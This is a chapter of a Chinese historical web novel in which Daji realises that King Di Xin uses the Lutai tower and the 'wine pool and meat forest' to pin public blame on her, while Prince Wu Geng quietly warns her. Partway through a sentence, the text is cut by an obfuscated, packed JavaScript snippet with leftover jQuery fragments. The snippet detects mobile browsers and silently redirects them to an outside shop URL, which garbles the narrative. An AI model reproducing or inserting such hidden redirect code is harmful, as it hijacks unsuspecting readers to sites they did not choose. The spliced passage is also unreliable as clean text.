默认冷灰
24号文字
方正启体

72. 第 73 章

作者:周颐本书字数:K更新时间:
    纵然早已在心底预设过无数次,可当武庚将帝辛的谋划清晰道出时,妲己的心还是像被冰锥狠狠刺穿,一阵刺骨的寒凉顺着血液蔓延至四肢百骸。帝辛这一手,无疑是将所有的罪责都推到了她的身上。在外人眼里,她是集万千宠爱于一身的王后,是君王不惜耗费民力也要博其欢心的红颜;可只有她和武庚这种看透了帝辛凉薄本性的人,才能察觉到这层层宠爱背后,藏着怎样阴诡的算计与致命的陷阱。那些旁人艳羡的恩宠,说到底,不过是裹着蜜糖的毒药。


    “我虽是巫咸后人,骨子里流着巫族的血,可对于巫祝之术,却半点也不精通。”妲己的声音轻轻发颤,带着一丝难以察觉的疲惫与无助,“我从不敢妄言能请来神明降临。便是有苏部族的长老,也不过是能窥得些许神意,为族人占卜吉凶罢了。你父王先前曾跟我说过,建那样一座高台,真正要紧的,是祭天之事。”


    “请神不过是父王一厢情愿的愿望,母后尽力配合便是,不必太过勉强。”武庚垂着眼,掩去眸中的担忧,语气凝重地说道,“只是那样一座百丈高台,不知要耗费多少时日才能建成。我听闻,密须国此前对周国不敬,对我大商也多有微词,西伯便以此为由,发兵征讨。其间还征战了阮国等几个小部族,前前后后历经两年,才终于征服了密须。周军压境之时,天边出现了虹霓,密须人便以为周军到来是神意所指,竟自行造反动乱,绑了密须王献给了西伯。西伯为庆祝征战胜利,想要建一座高台祭天,可密须国小力弱,境内根本没有现成的祭台。万幸的是,密须国人听闻此事后,竟纷纷主动前来帮忙筑台,不过短短几日工夫,就建起了一座十丈高、三十丈宽的高台,让西伯得以如愿祭天。西伯说,这座高台的建成仿佛有神灵相助,便给它取名为‘灵台’。”西伯侯便是姬昌,武庚身为太子,身份本就比侯爵尊贵,私下里便从不以爵位称呼他。


    武庚的话音落下,妲己的心下已然一片清明。祭天,从来都是君王专属的权力,姬昌不过是一个侯爵,本就没有祭天的资格。他这般明目张胆地建台祭天,显然是在试探帝辛的底线,这般赤裸裸的挑衅,背后定然藏着不小的图谋。而帝辛想要建造那座百丈高台,无非是想借此宣扬王权,彰显自己至高无上的地位,压过姬昌的气焰。可若是单单为了建高台,难免会让知晓周伐密须一事的人议论纷纷,传播出对帝辛不利的闲话。所以,他才想出了建别苑的由头,还把“请神仙”的名头安在了她的身上。建台之时,必然会耗费无数民力财力,民怨沸腾是迟早的事,朝中大臣也定然会极力反对。可这些矛盾与不满,最终都会指向她妲己——帝辛从未明说过是自己想要请神,只说是为了“方便”她游乐祈福。


    妲己嘴角勾起一抹冰冷的自嘲。这帝辛,当真是高明得很。只恨自己羽翼未丰,根本奈何不了他,反而还要依附他的权势才能活下去。一股难以遏制的恶气憋在胸口,让她几乎喘不过气来。回想从前帝辛对自己的那些温存与关切,此刻想来,竟全都是假惺惺的伪装。她忽然明白,帝辛起初或许是贪恋她的年轻美貌,可更多的,是看重她巫咸后人的身份。如今他要翦除异己、巩固王权,自然要好好利用她这层身份,凡事都以神明为借口,以巫祝为幌子。而他自己,却可以扮作一个尊重神明、只是偏爱妃嫔的寻常君王,将所有的骂名与罪责都推到她的身上。


    “如此说来,大王要建一座百丈高台,倒也是应当的了。”妲己忽然笑了起来,笑声里满是讥讽,仿佛听到了什么天大的笑话,“只是这么做,就不怕引来众人闲话吗?知道内情的,会说大王是敬爱神明;不知道的,怕是要以为大王与西伯侯不和,还颇为忌惮他呢。”


    武庚警惕地瞥了一眼前后殿门,见守卫都低着头,并未留意殿内的动静,才缓缓凑近了些,压低声音说道:“正是如此。即便父王已经明说,建高台是为了母后,可难免还是会有人私下里多想。若想打消这些疑虑,只怕……非得让所有人都亲眼看到,父王是如何疼爱母后不可。”


    武庚的话里有话,妲己的心猛地一沉,惊得她瞬间抬头看向他。可入眼的,却是武庚皱紧的眉头,以及他微微摇了摇头的细微动作。妲己瞬间便明白了,武庚也只是察觉到了帝辛可能会有后续动作,特意来给她提个醒,让她多加提防。至于帝辛具体会做什么、又会怎么做,他也无从知晓。妲己的心底涌起一阵深深的无力感,她暗暗想着,若是武庚能早一日登基为王就好了,那样的话,她或许还能有一条活路可以选择。可若是任凭帝辛这般折腾下去,她迟早会成为他权力斗争的替死鬼,落得个万劫不复的下场。


    “西伯征服密须之后,还得到了一件宝物,名为‘密须之鼓’。”武庚像是忽然想起了什么,又补充道。


    “那是什么东西?”妲己问道。


    “那是密须国世代相传的宝物,共有六种,分别名为雷、灵、路、贲、晋、皋。每一种鼓的大小、长短都不相同,功能也各有差异。有的用于祭祀天神,有的用于祭奠祖先,有的用于号令兵将,有的用于召集百姓,还有的专门用来演奏乐曲。西伯此番祭天,用的便是皋鼓,那鼓的高度足有十二尺,声势浩大,密须国的人听闻鼓声,便纷纷云集响应。”武庚细细解释着,语气里满是凝重。


    “周国向来富强,如今又征服了密须,怕是已成了大商唯一的属国了吧。”妲己缓缓说道,眼神里带着一丝若有所思。


    武庚只轻轻应了一声“是”,便不再多言。该说的都已经说完,他也不便在此久留,免得引人非议。今日两人交谈,特意没有关闭殿门,旁人即便看到,也只会以为是太子来取香料,并不会多想,更不会偷听。


    送走武庚后,妲己独自靠在廊柱上,久久没有动弹。晚风吹过,掀起她裙摆的一角,带来阵阵凉意,可她却浑然不觉。她的脸色苍白,神情凝重,满心都是挥之不去的心事。殿内当值的宫女太监们见她这副模样,一个个都吓得大气不敢喘,小心翼翼地站在一旁,连脚步都不敢挪动。毕竟,她现在已是大商的王后,身份尊贵无比,想要处死一个人,哪怕是后宫的妃嫔,也只需她一句话的事。


    妲己心里清楚,眼下已是该用人的时候了。她苦思冥想,仔细盘点着身边可用之人,又一一算计着他们各自的用处,可越想,越觉得力不从心。帝辛当真是打得一手好算盘,故意让她这样毫无根基的人坐上王后之位,根本不怕她会翻出什么风浪。若不是她此前与武庚、白氏还算相熟,或许早就被帝辛算计得尸骨无存了。可武庚身份太过尴尬,他是太子,与身为王后的自己走得太近,只会引来更多的猜忌;白氏的族人,也绝不可能为她所用;她所认识的人里,也就只有一个费仲能稍作相助。仅凭这些,又能做些什么呢?


    想不出头绪,妲己索性不再去想,只能暂时压下心中的焦虑,静静等待帝辛的下一步动作。晚膳时分,帝辛陪着她一起用膳,喝了几杯酒之后,忽然不满地说道,用铜爵饮酒太过不过瘾。


    “美人觉得,若是有一池美酒,随取随饮,如何?”帝辛看向她,眼神里带着一丝期待。


    “大王莫不是想在宫中凿池造酒?”妲己故作惊讶地问道。


    “凿池造酒又何妨?”帝辛满不在乎地说道,“孤想在宫中凿一个大池子,专门用来蓄酒。日后,孤与王后便在池边闲坐,随手就能取酒来饮,王后可喜欢?”


    “妲己酒量浅薄,虽不敢说能日日在池边欢饮,却也觉得大王这个主意极好。”妲己脸上露出欣喜的笑容,语气里满是赞同。


    “孤就知道,王后定然会喜欢!”帝辛见她应允,高兴得哈哈大笑起来。


    不过短短几日,帝辛便真的让人在宫中凿了一个大池子,灌满了美酒,称之为“酒池”。那酒池一面高一面低,还特意凿了几条弯曲环绕的水道,酒水顺着水道流淌,不仅酒香扑鼻,看着也颇为有趣。更奢侈的是,帝辛还让人每隔几日,就将酒池里的酒全部放空,更换新酿的美酒,这般耗费,简直令人咋舌。酒池建成没几日,帝辛又觉得只有酒没有肉,未免太过单调,不尽兴。于是,又让人在酒池的两边悬挂起了各色新鲜的肉类,数量庞大,种类繁多,帝辛将其称为“肉林”。


    消息传出,朝中大臣一片哗然。除了极少数明哲保身、不愿多管闲事的人,比如比干,还有一些阿谀奉承、一心讨好帝辛的人,比如尤浑之外,其余的大臣全都极力反对。可帝辛却摆出一副混不在乎的样子,仿佛他所做的这一切,都只是为了讨妲己的欢心。为了坐实这件事,帝辛甚至特意请了妲己,在那“酒池肉林”中连住了三天,连早朝都荒废了。


    如此一来,朝堂内外,骂声一片。所有人都骂妲己是妖孽祸水,说她用美色勾引帝辛,荒废朝政,败坏朝纲,绝非善类。那些不堪入耳的骂名,像潮水一样涌向她,即便她身处深宫,也能隐约察觉到那份扑面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028969|194484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而来的恶意。


    直到“酒池肉林”彻底吸引了朝中所有的注意力,帝辛才终于下旨,正式开始建造那座早已定好的百丈高台,并将其命名为“鹿台”,寓意着他的王者身份,昭示天下。果然,正如妲己所预料的那样,大多数人都将建造鹿台这份劳民伤财的罪责,也一并算到了她的头上。甚至有人直言,她根本就是一只迷惑君王的“狐狸精”,所谓的请神仙降临,不过是借口,她要请的,恐怕都是些狐妖鬼魅。


    妲己并没有亲耳听到外头的那些议论,可她的心里却早已一清二楚。帝辛这般处心积虑地折腾,为的就是坐实她妖孽的名声,将所有的罪责都推到她的身上,让她成为众矢之的。这般奢靡无度的生活,她本就厌恶至极,更何况,那酒池肉林,偏偏是改建了地坤宫建造而成的。一想到这里曾是王氏居住的地方,她便觉得胃里一阵翻涌,别说吃肉饮酒,便是多待一刻,都觉得恶心。可她又能如何呢?


    妲己心里比谁都清楚,想要活下去,想要有朝一日能斗得过帝辛,她便只能忍。忍下心中的厌恶与屈辱,假装自己是个被宠坏的、不懂世事的傻子,帝辛做什么,她都要装出一副十分欢喜的样子。这份隐忍,像一把钝刀,一点点割着她的心,疼得她几乎无法呼吸,却又不得不强撑着。


    可妲己也明白,帝辛这般处心积虑,绝不可能仅仅是为了建造一座鹿台那么简单。这一切的背后,最终还是要落在权力的争夺之上。朝中的那些老臣,定然是帝辛想要慢慢除去的眼中钉、肉中刺,只是她还不确定,自己在这场权力的清洗中,究竟会被帝辛当成什么样的工具来使用。而武庚,身为太子,帝辛将王位传给她本是天经地义的事,可若是帝辛对他起了疑心,武庚的下场,恐怕也不会好到哪里去。西伯侯姬昌既然已经公然祭天,挑衅王权,那么周国的军队打过来,也只是迟早的事。


    妲己忽然觉得,帝辛简直是在给自己刨坟添土。难道把所有的罪责都推到她的身上,他就能安枕无忧了吗?只怕未必。周国若是想攻打大商,即便以她妲己为借口,也是名正言顺的事。如此简单的道理,帝辛究竟是不懂,还是被权力的欲望冲昏了头脑?又或者,他是真的太过惧怕那些老臣,宁可落下昏庸无道的口实,也要将他们一一铲除?


    武庚的心里,同样充满了不安与挣扎。他比谁都清楚,帝辛性情寡情凉薄,即便自己是他唯一的儿子,一旦被他察觉到丝毫的不妥,恐怕也难逃一死。朝中能为他所用的力量,除了宗室子弟和一些老臣,便只有几个手握兵权的将军。可若是他太过明显地去拉拢这些人,只怕会引起他们的疑虑,甚至可能有人会为了自保,将他的举动告发出去,反而给自己埋下祸患。即便没有人告发,若是靠着这些人捧上位,如今连帝辛都奈何不了的老臣,他将来又能如何摆布?思来想去,武庚终究觉得,眼下最稳妥的办法,还是按兵不动,努力争取所有人的信任与支持,哪怕是对他心存猜忌的帝辛。


    鹿台动工兴建不过一个多月,刚入夏没多久,民间便已是民怨沸腾。仅仅这一个多月的工夫,就已有上百名奴隶累死在了工地上。虽然在当时,奴隶的性命卑微如草芥,可这些奴隶,都是朝中百官、贵族世家的私有财产。奴隶大批死伤,贵族们的利益自然受到了损害。在他们看来,继续兴建鹿台,实在是得不偿失。毕竟,无论是请神仙临凡,还是狩猎取乐,亦或是祭天酬神,都只是天子一家的事,与他们这些贵族又有什么关系呢?


    大臣们屡次上疏,请求帝辛停建鹿台,可帝辛却始终不肯答应,还以“神明已然知晓他与王后有心请神,断不能中途废弃,否则会触怒神明”为由,拒绝了所有的劝谏。众臣也不敢为了几个奴隶就公然激怒帝辛,只能将满心的不满压在心底,私下里埋怨帝辛昏聩无能,一边狠狠咒骂着妲己这个“祸水”,一边又暗自担心自家的奴隶会不会被征用去修建鹿台。好在帝辛也还有几分分寸,不敢去动贵族大臣家里的私奴。至于鹿台建成之后,奴隶死伤无数,后来又因为资金紧缺,帝辛加重赋税于平民百姓,那都是后话了。


    这一日,帝辛忽然下旨,叫了后宫不少妃嫔女眷前往“酒池”,说是要与众人同乐。


    妲己听到消息时,正在窗前发呆,晚风吹起她的发丝,遮住了她眼底的疲惫与绝望。


    她知道,这场所谓的“同乐”,不过是帝辛用来进一步坐实她“妖媚惑主”名声的又一场戏。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)